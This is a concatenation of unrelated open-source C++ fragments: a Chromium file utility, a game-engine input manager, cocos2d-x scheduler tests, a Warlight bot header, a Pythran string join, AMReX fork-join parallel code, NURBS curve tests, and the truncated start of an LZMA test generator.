TransientFileUtil::CreateSnapshotFile( FileSystemOperationContext* context, const FileSystemURL& url, base::File::Error* error, base::File::Info* file_info, base::FilePath* platform_path) { DCHECK(file_info); *error = GetFileInfo(context, url, file_info, platform_path); if (*error == base::File::FILE_OK && file_info->is_directory) *error = base::File::FILE_ERROR_NOT_A_FILE; if (*error != base::File::FILE_OK) return ScopedFile(); // Sets-up a transient filesystem. DCHECK(!platform_path->empty()); DCHECK(!url.filesystem_id().empty()); ScopedFile scoped_file( *platform_path, ScopedFile::DELETE_ON_SCOPE_OUT, context->task_runner()); scoped_file.AddScopeOutCallback( base::Bind(&RevokeFileSystem, url.filesystem_id()), NULL); return scoped_file.Pass(); } } // namespace storage 10-100 #include "InputManager.h" #include "Core/MessageBus.h" #include "Misc/Hardware/Keyboard.h" #include "Misc/Hardware/Mouse.h" #include namespace Tristeon { namespace Core { namespace Managers { InputManager::InputManager(GLFWwindow* window) { MessageBus::subscribeToMessage(MT_AFTERFRAME, [&](Message msg) { resetInput(); }); Misc::Mouse::window = window; glfwSetKeyCallback(window, [](GLFWwindow* window, int key, int scancode, int action, int mods) { Misc::Keyboard::keyCallback(key, scancode, action, mods); }); glfwSetMouseButtonCallback(window, [](GLFWwindow* window, int button, int action, int mods) { Misc::Mouse::buttonCallback(button, action, mods); }); glfwSetCursorPosCallback(window, [](GLFWwindow* window, double x, double y) { Misc::Mouse::positionCallback(x, y); }); glfwSetCursorEnterCallback(window, [](GLFWwindow* window, int action) { Misc::Mouse::windowEnterCallback(static_cast(action)); }); glfwSetScrollCallback(window, [](GLFWwindow* window, double x, double y) { Misc::Mouse::scrollCallback(x, y); }); } void InputManager::resetInput() const { Misc::Keyboard::reset(); Misc::Mouse::reset(); } } } }CBE7F1F65/fb43b70cb3d36ad8b8ee3a9aed9c6493 #include "SchedulerTest.h" #include "../testResource.h" enum { kTagAnimationDance = 1, }; #define MAX_TESTS 8 static int sceneIdx = -1; CCLayer* createSchedulerTest(int nIndex) { CCLayer* pLayer = NULL; switch (nIndex) { case 0: pLayer = new SchedulerAutoremove(); break; case 1: pLayer = new SchedulerPauseResume(); break; case 2: pLayer = new SchedulerUnscheduleAll(); break; case 3: pLayer = new SchedulerUnscheduleAllHard(); break; case 4: pLayer = new SchedulerSchedulesAndRemove(); break; case 5: pLayer = new SchedulerUpdate(); break; case 6: pLayer = new SchedulerUpdateAndCustom(); break; case 7: pLayer = new SchedulerUpdateFromCustom(); break; default: break; } pLayer->autorelease(); return pLayer; } CCLayer* nextSchedulerTest() { sceneIdx++; sceneIdx = sceneIdx % MAX_TESTS; return createSchedulerTest(sceneIdx); } CCLayer* backSchedulerTest() { sceneIdx--; if( sceneIdx < 0 ) sceneIdx += MAX_TESTS; return createSchedulerTest(sceneIdx); } CCLayer* restartSchedulerTest() { return createSchedulerTest(sceneIdx); } //------------------------------------------------------------------ // // SchedulerTestLayer // //------------------------------------------------------------------ void SchedulerTestLayer::onEnter() { CCLayer::onEnter(); CCSize s = CCDirector::sharedDirector()->getWinSize(); CCLabelTTF* label = CCLabelTTF::labelWithString(title().c_str(), "Arial", 32); addChild(label); label->setPosition(ccp(s.width/2, s.height-50)); std::string subTitle = subtitle(); if(! subTitle.empty()) { CCLabelTTF* l = CCLabelTTF::labelWithString(subTitle.c_str(), "Thonburi", 16); addChild(l, 1); l->setPosition(ccp(s.width/2, s.height-80)); } CCMenuItemImage *item1 = CCMenuItemImage::itemFromNormalImage("Images/b1.png", "Images/b2.png", this, menu_selector(SchedulerTestLayer::backCallback)); CCMenuItemImage *item2 = CCMenuItemImage::itemFromNormalImage("Images/r1.png","Images/r2.png", this, menu_selector(SchedulerTestLayer::restartCallback) ); CCMenuItemImage *item3 = CCMenuItemImage::itemFromNormalImage("Images/f1.png", "Images/f2.png", this, menu_selector(SchedulerTestLayer::nextCallback) ); CCMenu *menu = CCMenu::menuWithItems(item1, item2, item3, NULL); menu->setPosition(CCPointZero); item1->setPosition(ccp( s.width/2 - 100,30)); item2->setPosition(ccp( s.width/2, 30)); item3->setPosition(ccp( s.width/2 + 100,30)); addChild(menu, 1); } void SchedulerTestLayer::backCallback(CCObject* pSender) { CCScene* pScene = new SchedulerTestScene(); CCLayer* pLayer = backSchedulerTest(); pScene->addChild(pLayer); CCDirector::sharedDirector()->replaceScene(pScene); pScene->release(); } void SchedulerTestLayer::nextCallback(CCObject* pSender) { CCScene* pScene = new SchedulerTestScene(); CCLayer* pLayer = nextSchedulerTest(); pScene->addChild(pLayer); CCDirector::sharedDirector()->replaceScene(pScene); pScene->release(); } void SchedulerTestLayer::restartCallback(CCObject* pSender) { CCScene* pScene = new SchedulerTestScene(); CCLayer* pLayer = restartSchedulerTest(); pScene->addChild(pLayer); CCDirector::sharedDirector()->replaceScene(pScene); pScene->release(); } std::string SchedulerTestLayer::title() { return "No title"; } std::string SchedulerTestLayer::subtitle() { return ""; } //------------------------------------------------------------------ // // SchedulerAutoremove // //------------------------------------------------------------------ void SchedulerAutoremove::onEnter() { SchedulerTestLayer::onEnter(); schedule(schedule_selector(SchedulerAutoremove::autoremove), 0.5f); schedule(schedule_selector(SchedulerAutoremove::tick), 0.5f); accum = 0; } void SchedulerAutoremove::autoremove(ccTime dt) { accum += dt; CCLOG("Time: %f", accum); if( accum > 3 ) { unschedule(schedule_selector(SchedulerAutoremove::autoremove)); CCLOG("scheduler removed"); } } void SchedulerAutoremove::tick(ccTime dt) { CCLOG("This scheduler should not be removed"); } std::string SchedulerAutoremove::title() { return "Self-remove an scheduler"; } std::string SchedulerAutoremove::subtitle() { return "1 scheduler will be autoremoved in 3 seconds. See console"; } //------------------------------------------------------------------ // // SchedulerPauseResume // //------------------------------------------------------------------ void SchedulerPauseResume::onEnter() { SchedulerTestLayer::onEnter(); schedule(schedule_selector(SchedulerPauseResume::tick1), 0.5f); schedule(schedule_selector(SchedulerPauseResume::tick2), 0.5f); schedule(schedule_selector(SchedulerPauseResume::pause), 0.5f); } void SchedulerPauseResume::tick1(ccTime dt) { CCLOG("tick1"); } void SchedulerPauseResume::tick2(ccTime dt) { CCLOG("tick2"); } void SchedulerPauseResume::pause(ccTime dt) { CCScheduler::sharedScheduler()->pauseTarget(this); } std::string SchedulerPauseResume::title() { return "Pause / Resume"; } std::string SchedulerPauseResume::subtitle() { return "Scheduler should be paused after 3 seconds. See console"; } //------------------------------------------------------------------ // // SchedulerUnscheduleAll // //------------------------------------------------------------------ void SchedulerUnscheduleAll::onEnter() { SchedulerTestLayer::onEnter(); schedule(schedule_selector(SchedulerUnscheduleAll::tick1), 0.5f); schedule(schedule_selector(SchedulerUnscheduleAll::tick2), 1.0f); schedule(schedule_selector(SchedulerUnscheduleAll::tick3), 1.5f); schedule(schedule_selector(SchedulerUnscheduleAll::tick4), 1.5f); schedule(schedule_selector(SchedulerUnscheduleAll::unscheduleAll), 4); } void SchedulerUnscheduleAll::tick1(ccTime dt) { CCLOG("tick1"); } void SchedulerUnscheduleAll::tick2(ccTime dt) { CCLOG("tick2"); } void SchedulerUnscheduleAll::tick3(ccTime dt) { CCLOG("tick3"); } void SchedulerUnscheduleAll::tick4(ccTime dt) { CCLOG("tick4"); } void SchedulerUnscheduleAll::unscheduleAll(ccTime dt) { unscheduleAllSelectors(); } std::string SchedulerUnscheduleAll::title() { return "Unschedule All selectors"; } std::string SchedulerUnscheduleAll::subtitle() { return "All scheduled selectors will be unscheduled in 4 seconds. See console"; } //------------------------------------------------------------------ // // SchedulerUnscheduleAllHard // //------------------------------------------------------------------ void SchedulerUnscheduleAllHard::onEnter() { SchedulerTestLayer::onEnter(); schedule(schedule_selector(SchedulerUnscheduleAllHard::tick1), 0.5f); schedule(schedule_selector(SchedulerUnscheduleAllHard::tick2), 1.0f); schedule(schedule_selector(SchedulerUnscheduleAllHard::tick3), 1.5f); schedule(schedule_selector(SchedulerUnscheduleAllHard::tick4), 1.5f); schedule(schedule_selector(SchedulerUnscheduleAllHard::unscheduleAll), 4); } void SchedulerUnscheduleAllHard::tick1(ccTime dt) { CCLOG("tick1"); } void SchedulerUnscheduleAllHard::tick2(ccTime dt) { CCLOG("tick2"); } void SchedulerUnscheduleAllHard::tick3(ccTime dt) { CCLOG("tick3"); } void SchedulerUnscheduleAllHard::tick4(ccTime dt) { CCLOG("tick4"); } void SchedulerUnscheduleAllHard::unscheduleAll(ccTime dt) { CCScheduler::sharedScheduler()->unscheduleAllSelectors(); } std::string SchedulerUnscheduleAllHard::title() { return "Unschedule All selectors #2"; } std::string SchedulerUnscheduleAllHard::subtitle() { return "Unschedules all selectors after 4s. Uses CCScheduler. See console"; } //------------------------------------------------------------------ // // SchedulerSchedulesAndRemove // //------------------------------------------------------------------ void SchedulerSchedulesAndRemove::onEnter() { SchedulerTestLayer::onEnter(); schedule(schedule_selector(SchedulerSchedulesAndRemove::tick1), 0.5f); schedule(schedule_selector(SchedulerSchedulesAndRemove::tick2), 1.0f); schedule(schedule_selector(SchedulerSchedulesAndRemove::scheduleAndUnschedule), 4.0f); } void SchedulerSchedulesAndRemove::tick1(ccTime dt) { CCLOG("tick1"); } void SchedulerSchedulesAndRemove::tick2(ccTime dt) { CCLOG("tick2"); } void SchedulerSchedulesAndRemove::tick3(ccTime dt) { CCLOG("tick3"); } void SchedulerSchedulesAndRemove::tick4(ccTime dt) { CCLOG("tick4"); } std::string SchedulerSchedulesAndRemove::title() { return "Schedule from Schedule"; } std::string SchedulerSchedulesAndRemove::subtitle() { return "Will unschedule and schedule selectors in 4s. See console"; } void SchedulerSchedulesAndRemove::scheduleAndUnschedule(ccTime dt) { unschedule(schedule_selector(SchedulerSchedulesAndRemove::tick1)); unschedule(schedule_selector(SchedulerSchedulesAndRemove::tick2)); unschedule(schedule_selector(SchedulerSchedulesAndRemove::scheduleAndUnschedule)); schedule(schedule_selector(SchedulerSchedulesAndRemove::tick3), 1.0f); schedule(schedule_selector(SchedulerSchedulesAndRemove::tick4), 1.0f); } //------------------------------------------------------------------ // // TestNode // //------------------------------------------------------------------ void TestNode::initWithString(CCString* pStr, int priority) { m_pstring = pStr; m_pstring->retain(); scheduleUpdateWithPriority(priority); } TestNode::~TestNode() { m_pstring->release(); } //------------------------------------------------------------------ // // SchedulerUpdate // //------------------------------------------------------------------ void SchedulerUpdate::onEnter() { SchedulerTestLayer::onEnter(); TestNode* d = new TestNode(); CCString* pStr = new CCString("---"); d->initWithString(pStr, 50); pStr->release(); addChild(d); d->release(); TestNode* b = new TestNode(); pStr = new CCString("3rd"); b->initWithString(pStr, 0); pStr->release(); addChild(b); b->release(); TestNode* a = new TestNode(); pStr = new CCString("1st"); a->initWithString(pStr, -10); pStr->release(); addChild(a); a->release(); TestNode* c = new TestNode(); pStr = new CCString("4th"); c->initWithString(pStr, 10); pStr->release(); addChild(c); c->release(); TestNode* e = new TestNode(); pStr = new CCString("5th"); e->initWithString(pStr, 20); pStr->release(); addChild(e); e->release(); TestNode* f = new TestNode(); pStr = new CCString("2nd"); f->initWithString(pStr, -5); pStr->release(); addChild(f); f->release(); schedule(schedule_selector(SchedulerUpdate::removeUpdates), 4.0f); } void SchedulerUpdate::removeUpdates(ccTime dt) { CCArray* children = getChildren(); CCNode* pNode; CCObject* pObject; CCARRAY_FOREACH(children, pObject) { pNode = (CCNode*)pObject; if (! pNode) { break; } pNode->unscheduleAllSelectors(); } } std::string SchedulerUpdate::title() { return "Schedule update with priority"; } std::string SchedulerUpdate::subtitle() { return "3 scheduled updates. Priority should work. Stops in 4s. See console"; } //------------------------------------------------------------------ // // SchedulerUpdateAndCustom // //------------------------------------------------------------------ void SchedulerUpdateAndCustom::onEnter() { SchedulerTestLayer::onEnter(); scheduleUpdate(); schedule(schedule_selector(SchedulerUpdateAndCustom::tick)); schedule(schedule_selector(SchedulerUpdateAndCustom::stopSelectors), 0.4f); } void SchedulerUpdateAndCustom::update(ccTime dt) { CCLOG("update called:%f", dt); } void SchedulerUpdateAndCustom::tick(ccTime dt) { CCLOG("custom selector called:%f",dt); } void SchedulerUpdateAndCustom::stopSelectors(ccTime dt) { unscheduleAllSelectors(); } std::string SchedulerUpdateAndCustom::title() { return "Schedule Update + custom selector"; } std::string SchedulerUpdateAndCustom::subtitle() { return "Update + custom selector at the same time. Stops in 4s. See console"; } //------------------------------------------------------------------ // // SchedulerUpdateFromCustom // //------------------------------------------------------------------ void SchedulerUpdateFromCustom::onEnter() { SchedulerTestLayer::onEnter(); schedule(schedule_selector(SchedulerUpdateFromCustom::schedUpdate), 2.0f); } void SchedulerUpdateFromCustom::update(ccTime dt) { CCLOG("update called:%f", dt); } void SchedulerUpdateFromCustom::schedUpdate(ccTime dt) { unschedule(schedule_selector(SchedulerUpdateFromCustom::schedUpdate)); scheduleUpdate(); schedule(schedule_selector(SchedulerUpdateFromCustom::stopUpdate), 2.0f); } void SchedulerUpdateFromCustom::stopUpdate(ccTime dt) { unscheduleUpdate(); unschedule(schedule_selector(SchedulerUpdateFromCustom::stopUpdate)); } std::string SchedulerUpdateFromCustom::title() { return "Schedule Update in 2 sec"; } std::string SchedulerUpdateFromCustom::subtitle() { return "Update schedules in 2 secs. Stops 2 sec later. See console"; } //------------------------------------------------------------------ // // RescheduleSelector // //------------------------------------------------------------------ void RescheduleSelector::onEnter() { SchedulerTestLayer::onEnter(); m_fInterval = 1.0f; m_nTicks = 0; schedule(schedule_selector(RescheduleSelector::schedUpdate), m_fInterval); } std::string RescheduleSelector::title() { return "Reschedule Selector"; } std::string RescheduleSelector::subtitle() { return "Interval is 1 second, then 2, then 3..."; } void RescheduleSelector::schedUpdate(ccTime dt) { m_nTicks++; CCLOG("schedUpdate: %.2f", dt); if ( m_nTicks > 3 ) { m_fInterval += 1.0f; schedule(schedule_selector(RescheduleSelector::schedUpdate), m_fInterval); m_nTicks = 0; } } //------------------------------------------------------------------ // // SchedulerTestScene // //------------------------------------------------------------------ void SchedulerTestScene::runThisTest() { CCLayer* pLayer = nextSchedulerTest(); addChild(pLayer); CCDirector::sharedDirector()->replaceScene(this); } // This program is free software licenced under MIT Licence. You can // find a copy of this licence in LICENCE.txt in the top directory of // source code. // #ifndef ROUND_STRATEGY_H_INCLUDED #define ROUND_STRATEGY_H_INCLUDED // Project #include "globals.hpp" namespace warlightAi { // Fwrd decls class World; /** * Base class for strategies deciding the deployments and attacks of our Bot. */ class RoundStrategy { public: /** * Creates a new round strategy given a reference to the map of the game * (the World parameter) and the number of armies available this round. */ RoundStrategy(const World &world, int availableArmies); virtual ~RoundStrategy(); /** * Pure virtual methods returning the deployments and the attacks our Bot * should do this round. */ virtual RegIntList getDeployments() const = 0; virtual RegRegIntList getAttacks() const = 0; protected: const World &m_world; int m_availableArmies; }; // class RoundStrategy } // namespace warlightAi #endif // ROUND_STRATEGY_H_INCLUDED #ifndef PYTHONIC_BUILTIN_STR_JOIN_HPP #define PYTHONIC_BUILTIN_STR_JOIN_HPP #include "pythonic/include/__builtin__/str/join.hpp" #include "pythonic/__builtin__/len.hpp" #include "pythonic/types/str.hpp" #include "pythonic/utils/proxy.hpp" namespace pythonic { namespace __builtin__ { namespace str { template types::str join(S const &s, types::str const &iterable) { long ssize = std::distance(std::begin(s), std::end(s)) - (std::is_same::value ? 0 : 1); /* first iterate over iterable to gather sizes */ size_t n = ssize * (iterable.size() - 1) + iterable.size(); std::string out(n, 0); auto iter = iterable.begin(); auto oter = out.begin(); if (iter != iterable.end()) { *oter++ = *iter++; if (ssize) for (; iter != iterable.end(); ++iter) { oter = std::copy(std::begin(s), std::begin(s) + ssize, oter); *oter++ = *iter; } else std::copy(iter, iterable.end(), oter); } return {std::move(out)}; } template typename std::enable_if< not std::is_same< typename std::remove_cv< typename std::remove_reference::type>::type, types::str>::value and std::is_same< typename std::iterator_traits::type::iterator>::iterator_category, std::random_access_iterator_tag>::value, types::str>::type join(S const &s, Iterable &&iterable) { long ssize = std::distance(std::begin(s), std::end(s)) - (std::is_same::value ? 0 : 1); /* first iterate over iterable to gather sizes */ long iterable_size = std::distance(iterable.begin(), iterable.end()); if (iterable_size == 0) return ""; size_t n = ssize * (iterable_size - 1); for (auto const &iter : iterable) n += __builtin__::len(iter); std::string out(n, 0); auto iter = iterable.begin(); auto oter = out.begin(); if (iter != iterable.end()) { auto tmp = *iter; oter = std::copy(tmp.begin(), tmp.end(), oter); ++iter; if (ssize) for (; iter != iterable.end(); ++iter) { oter = std::copy(std::begin(s), std::begin(s) + ssize, oter); auto tmp = *iter; oter = std::copy(tmp.begin(), tmp.end(), oter); } else for (; iter != iterable.end(); ++iter) { auto tmp = *iter; oter = std::copy(tmp.begin(), tmp.end(), oter); } } return {std::move(out)}; } template typename std::enable_if< not std::is_same< typename std::iterator_traits::type::iterator>::iterator_category, std::random_access_iterator_tag>::value, types::str>::type join(S const &s, Iterable &&iterable) { types::str out; auto iter = iterable.begin(); if (iter != iterable.end()) { out += *iter; ++iter; for (; iter != iterable.end(); ++iter) { out += s; out += *iter; } } return out; } PROXY_IMPL(pythonic::__builtin__::str, join); } } } #endif ylunalin/amrex #include #include #include using namespace amrex; namespace { inline bool file_exists(std::string file_path) { std::ifstream ifs(file_path); return ifs.good(); } template std::string str_join (Vector xs, std::string sep) { std::ostringstream ss; bool flag_first = true; for (int i = 0; i < xs.size(); ++i) { if (!flag_first) { ss << sep; } flag_first = false; ss << xs[i]; } return ss.str(); } Vector get_frame_id_vec () { const auto &frames = amrex::ParallelContext::frames; Vector result; // ignore first (global) frame for (int i = 1; i < frames.size(); ++i) { result.push_back(frames[i].MyID()); } return result; } } namespace amrex { ForkJoin::ForkJoin (const Vector &task_rank_n) { init(task_rank_n); } ForkJoin::ForkJoin (const Vector &task_rank_pct) { auto rank_n = ParallelContext::NProcsSub(); // number of ranks in current frame auto ntasks = task_rank_pct.size(); Vector task_rank_n(ntasks); int prev = 0; double accum = 0; for (int i = 0; i < ntasks; ++i) { accum += task_rank_pct[i]; int cur = std::round(rank_n * accum); task_rank_n[i] = cur - prev; prev = cur; } init(task_rank_n); } void ForkJoin::init(const Vector &task_rank_n) { ParmParse pp("forkjoin"); pp.query("verbose", flag_verbose); const auto task_n = task_rank_n.size(); AMREX_ALWAYS_ASSERT_WITH_MESSAGE(task_n > 0, "ForkJoin must have at least 1 task"); int min_task_rank_n = task_rank_n[0]; for (int i = 1; i < task_n; ++i) { min_task_rank_n = std::min(min_task_rank_n, task_rank_n[i]); } AMREX_ALWAYS_ASSERT_WITH_MESSAGE(min_task_rank_n > 0, "All tasks must have at least one rank"); auto rank_n = ParallelContext::NProcsSub(); // number of ranks in current frame AMREX_ALWAYS_ASSERT_WITH_MESSAGE(std::accumulate(task_rank_n.begin(),task_rank_n.end(),0) == rank_n, "Sum of ranks assigned to tasks must sum to parent number of ranks"); // split ranks into contiguous chunks // task i has ranks over the interval [split_bounds[i], split_bounds[i+1]) split_bounds.resize(task_n + 1); split_bounds[0] = 0; for (int i = 0; i < task_n; ++i) { split_bounds[i + 1] = split_bounds[i] + task_rank_n[i]; } if (flag_verbose) { amrex::Print() << "Initialized ForkJoin:\n"; for (int i = 0; i < task_n; ++i) { int glo_rank_lo = ParallelContext::local_to_global_rank(split_bounds[i]); int glo_rank_hi = ParallelContext::local_to_global_rank(split_bounds[i+1]-1); amrex::Print() << " Task " << i << " has " << NProcsTask(i) << " Ranks: [" << glo_rank_lo << ", " << glo_rank_hi << "]\n"; } } } void ForkJoin::reg_mf (MultiFab &mf, const std::string &name, int idx, Strategy strategy, Intent intent, int owner) { if (idx >= data[name].size()) { data[name].resize(idx + 1); } AMREX_ALWAYS_ASSERT_WITH_MESSAGE(data[name][idx].empty(), "Can only register to a (name, index) pair once"); IntVect ngrow = mf.nGrowVect(); // default use original MultiFab's grow cells // compute how components are copied to tasks // default evenly split components across tasks int comp_n = mf.nComp(); // number of components in original Vector comp_split; comp_split.resize(NTasks()); for (int i = 0; i < NTasks(); ++i) { if (strategy == Strategy::split) { AMREX_ALWAYS_ASSERT_WITH_MESSAGE(NTasks() <= comp_n, "Number of tasks cannot be larger than number of components!"); // split components across tasks comp_split[i].lo = comp_n * i / NTasks(); comp_split[i].hi = comp_n * (i+1) / NTasks(); } else { // copy all components to task comp_split[i].lo = 0; comp_split[i].hi = comp_n; } } data[name][idx] = MFFork(&mf, strategy, intent, owner, ngrow, std::move(comp_split)); } void ForkJoin::modify_ngrow (const std::string &name, int idx, IntVect ngrow) { AMREX_ALWAYS_ASSERT_WITH_MESSAGE(data.count(name) > 0 && data[name].size() > idx, "(name, index) pair doesn't exist"); AMREX_ALWAYS_ASSERT_WITH_MESSAGE(!flag_invoked, "Can only specify grow cells before first forkjoin() invocation"); for (int i = 0; i < AMREX_SPACEDIM; ++i) { AMREX_ALWAYS_ASSERT_WITH_MESSAGE(ngrow[i] >= 0, "ngrow[i] must be non-negative"); } data[name][idx].ngrow = ngrow; } void ForkJoin::modify_split (const std::string &name, int idx, Vector comp_split) { AMREX_ALWAYS_ASSERT_WITH_MESSAGE(data.count(name) > 0 && data[name].size() > idx, "(name, index) pair doesn't exist"); AMREX_ALWAYS_ASSERT_WITH_MESSAGE(!flag_invoked, "Can only specify custom split before first forkjoin() invocation"); AMREX_ALWAYS_ASSERT_WITH_MESSAGE(comp_split.size() == NTasks(), "comp_split must be same length as number of tasks"); for (int i = 0; i < NTasks(); ++i) { AMREX_ALWAYS_ASSERT_WITH_MESSAGE(comp_split[i].hi - comp_split[i].lo > 0, "comp_split[i] must have positive number of components"); } data[name][idx].comp_split = std::move(comp_split); } ForkJoin::ComponentSet ForkJoin::ComponentBounds(const std::string& name, int idx) const { const auto & mffork_vec = data.at(name); BL_ASSERT(idx >= 0 && idx < mffork_vec.size()); return mffork_vec[idx].comp_split[task_me]; } void ForkJoin::copy_data_to_tasks () { BL_PROFILE("ForkJoin::copy_data_to_tasks()"); if (flag_verbose) { amrex::Print() << "Copying data into fork-join tasks ...\n"; } for (auto &p : data) { // for each name const auto &mf_name = p.first; for (int idx = 0; idx < p.second.size(); ++idx) { // for each index auto &mff = p.second[idx]; const auto &orig = *mff.orig; const auto &ba = orig.boxArray(); const auto &comp_split = mff.comp_split; auto &forked = mff.forked; forked.reserve(NTasks()); // does nothing if forked MFs already created for (int i = 0; i < NTasks(); ++i) { // check if this task needs this MF if (mff.strategy != Strategy::single || i == mff.owner_task) { int task_comp_n = comp_split[i].hi - comp_split[i].lo; // create task's MF if first time through if (forked.size() <= i) { if (flag_verbose) { amrex::Print() << " Creating forked " << mf_name << "[" << idx << "] for task " << i << (mff.strategy == Strategy::split ? " (split)" : " (whole)") << std::endl; } // look up the distribution mapping for this (box array, task) pair const DistributionMapping &dm = get_dm(ba, i, orig.DistributionMap()); forked.emplace_back(ba, dm, task_comp_n, mff.ngrow); } else if (flag_verbose) { amrex::Print() << " Forked " << mf_name << "[" << idx << "] for task " << i << " already created" << std::endl; } AMREX_ASSERT(i < forked.size()); // copy data if needed if (mff.intent == Intent::in || mff.intent == Intent::inout) { if (flag_verbose) { amrex::Print() << " Copying " << mf_name << "[" << idx << "] components [" << comp_split[i].lo << ", " << comp_split[i].hi << ") into to task " << i << std::endl; } // parallel copy data into forked MF forked[i].Redistribute(orig, comp_split[i].lo, 0, task_comp_n, mff.ngrow); } } else { // this task doesn't use the MultiFab if (forked.size() <= i) { // first time through, push empty placeholder (not used) forked.push_back(MultiFab()); } } } AMREX_ASSERT(forked.size() == NTasks()); } } } // this is called after ParallelContext::unsplit // the parent task is the top frame in ParallelContext's stack void ForkJoin::copy_data_from_tasks () { BL_PROFILE("ForkJoin::copy_data_from_tasks()"); if (flag_verbose) { amrex::Print() << "Copying data out of fork-join tasks ...\n"; } for (auto &p : data) { // for each name const auto &mf_name = p.first; for (int idx = 0; idx < p.second.size(); ++idx) { // for each index auto &mff = p.second[idx]; if (mff.intent == Intent::out || mff.intent == Intent::inout) { MultiFab &orig = *mff.orig; const auto &comp_split = mff.comp_split; const Vector &forked = mff.forked; if (mff.strategy == Strategy::split) { // gather components from across tasks for (int i = 0; i < NTasks(); ++i) { if (flag_verbose) { amrex::Print() << " Copying " << mf_name << "[" << idx << "] components [" << comp_split[i].lo << ", " << comp_split[i].hi << ") out from task " << i << " (unsplit)" << std::endl; } int task_comp_n = comp_split[i].hi - comp_split[i].lo; AMREX_ASSERT(forked[i].nComp() == task_comp_n); orig.Redistribute(forked[i], 0, comp_split[i].lo, task_comp_n, mff.ngrow); } } else { // mff.strategy == single or duplicate // copy all components from owner_task if (flag_verbose) { amrex::Print() << "Copying " << mf_name << " out from task " << mff.owner_task << " (whole)" << std::endl; } AMREX_ASSERT(forked[mff.owner_task].nComp() == orig.nComp()); orig.Redistribute(forked[mff.owner_task], 0, 0, orig.nComp(), mff.ngrow); } } } } } // multiple MultiFabs may share the same box array // only compute the DM once per unique (box array, task) pair and cache it // create map from box array RefID to vector of DistributionMapping indexed by task ID const DistributionMapping & ForkJoin::get_dm (const BoxArray& ba, int task_idx, const DistributionMapping& dm_orig) { AMREX_ASSERT(task_idx < NTasks()); auto &dm_vec = dms[ba.getRefID()]; if (dm_vec.size() == 0) { // new entry dm_vec.resize(NTasks()); } AMREX_ASSERT(dm_vec.size() == NTasks()); if (dm_vec[task_idx] == nullptr) { // create DM of current box array over current task's ranks int rank_lo = split_bounds[task_idx]; // note that these ranks are not necessarily global int nprocs_task = NProcsTask(task_idx); Vector pmap = dm_orig.ProcessorMap(); // DistributionMapping stores global ranks for (auto& r : pmap) { int lr = ParallelContext::global_to_local_rank(r); lr = lr%nprocs_task + rank_lo; r = ParallelContext::local_to_global_rank(lr); } dm_vec[task_idx].reset(new DistributionMapping(std::move(pmap))); if (flag_verbose) { amrex::Print() << " Creating DM for (box array, task id) = (" << ba.getRefID() << ", " << task_idx << ")" << std::endl; } // amrex::Print() << " xxxxx get_dm " << task_idx << ", " << *dm_vec[task_idx] << "\n"; } else { // DM has already been created if (flag_verbose) { amrex::Print() << " DM for (box array, task id) = (" << ba.getRefID() << ", " << task_idx << ") already created" << std::endl; } } AMREX_ASSERT(dm_vec[task_idx] != nullptr); return *dm_vec[task_idx]; } // split top frame of stack // TODO: write version that takes cached comm object as argument in case of repeated identical split calls MPI_Comm ForkJoin::split_tasks () { int myproc = ParallelContext::MyProcSub(); for (task_me = 0; task_me < NTasks(); ++task_me) { int lo = split_bounds[task_me]; int hi = split_bounds[task_me + 1]; if (myproc >= lo && myproc < hi) { break; } } AMREX_ASSERT(task_me < NTasks()); #ifdef BL_USE_MPI MPI_Comm new_comm; MPI_Comm_split(ParallelContext::CommunicatorSub(), task_me, myproc, &new_comm); #else MPI_Comm new_comm = ParallelContext::CommunicatorSub(); #endif return new_comm; } void ForkJoin::create_task_output_dir () { if (task_output_dir != "" && !amrex::FileExists(task_output_dir)) { if (flag_verbose) { Print() << "Creating task_output_dir: " << task_output_dir << std::endl; } if (ParallelContext::IOProcessorSub()) { amrex::UtilCreateDirectory(task_output_dir, 0755, flag_verbose); } } } std::string ForkJoin::get_io_filename (bool flag_unique) { std::string result = ""; if (task_output_dir != "") { // build base filename std::string result_base = task_output_dir; result_base += "/T-" + str_join(get_frame_id_vec(), "-"); result_base += ".R-" + std::to_string(ParallelContext::MyProcSub()); if (flag_unique) { // concatenate an integer to the end to make unique int i = 0; do { result = result_base + ".I-" + std::to_string(i++) + ".out"; } while (file_exists(result)); } else { result = result_base + ".out"; } } return result; } } #include "catch.hpp" #include #include #include #include #include TEST_CASE("Curve Creation", "[curve]") { SECTION("Line Creation") { using namespace squanch; squanch::Model model; Eigen::Vector3d p1(0, 0, 0); Eigen::Vector3d p2(10, 0, 0); Line line(p1, p2); auto&& nurbs = line.to_nurbs(model); auto&& knots = nurbs.curves()[0].knots(); auto p = nurbs.curves()[0].p(); const auto num_spaces = 20; const auto num_points = num_spaces + 1; const auto dx = 10.0 / num_spaces; const auto du = 1.0 / num_spaces; Eigen::Vector4d point(0, 0, 0, 1); Eigen::Vector4d calculated_point(0, 0, 0, 1); double u = 0.0; Eigen::VectorXd n(p + 1); for (auto i = 0; i < num_points; ++i) { point[0] = i * dx; u = i * du; auto span = find_span(knots, p, u); compute_b_basis(nurbs.curves()[0], span, u, n); calculated_point = compute_bspline_point(model, nurbs, u, span, n); for (auto j = 0; j < 3; ++j) { REQUIRE(point[j] == Approx(calculated_point[j])); } } } SECTION("Circle Creation") { using namespace squanch; squanch::Model model; const double pi = 3.14159265359; Circle circle; circle.start_angle = 0.0; circle.end_angle = 2 * pi; circle.N1 = Eigen::Vector3d(1, 0, 0); circle.N2 = Eigen::Vector3d(0, 1, 0); circle.origin = Eigen::Vector3d(0, 0, 0); circle.r = 1.0; auto&& nurbs = circle.to_nurbs(model); auto&& knots = nurbs.curves()[0].knots(); auto p = nurbs.curves()[0].p(); const auto num_spaces = 20; const auto num_points = num_spaces + 1; const auto du = 1.0 / num_spaces; const auto dangle = 2 * pi / num_spaces; Eigen::Vector4d point(0, 0, 0, 1); Eigen::Vector4d calculated_point(0, 0, 0, 1); double u = 0.0; Eigen::VectorXd n(p + 1); for (auto i = 0; i < num_points; ++i) { u = i * du; auto span = find_span(knots, p, u); compute_b_basis(nurbs.curves()[0], span, u, n); calculated_point = compute_nurbs_point(model, nurbs, u, span, n); double distance2 = calculated_point.x() * calculated_point.x() + calculated_point.y() * calculated_point.y(); REQUIRE(distance2 == Approx(1.0)); } } }ascheglov/lzma-cpp1-10 // cpp-lzma test data generator // belongs to the public domain #include "Lzma2Enc.h" #include #include #include #include #include ISzAlloc alloc = { [](void*, size_t size){ return malloc(size); }, [](void*, void* mem){ free(mem); } }; struct InStream : ISeqInStream { template InStream(F f) : DoRead(f) { Read = ReadImpl; } // if (input(*size) != 0 && output(*size) == 0) means end_of_stream. (output(*size) < input(*size)) is allowed static SRes 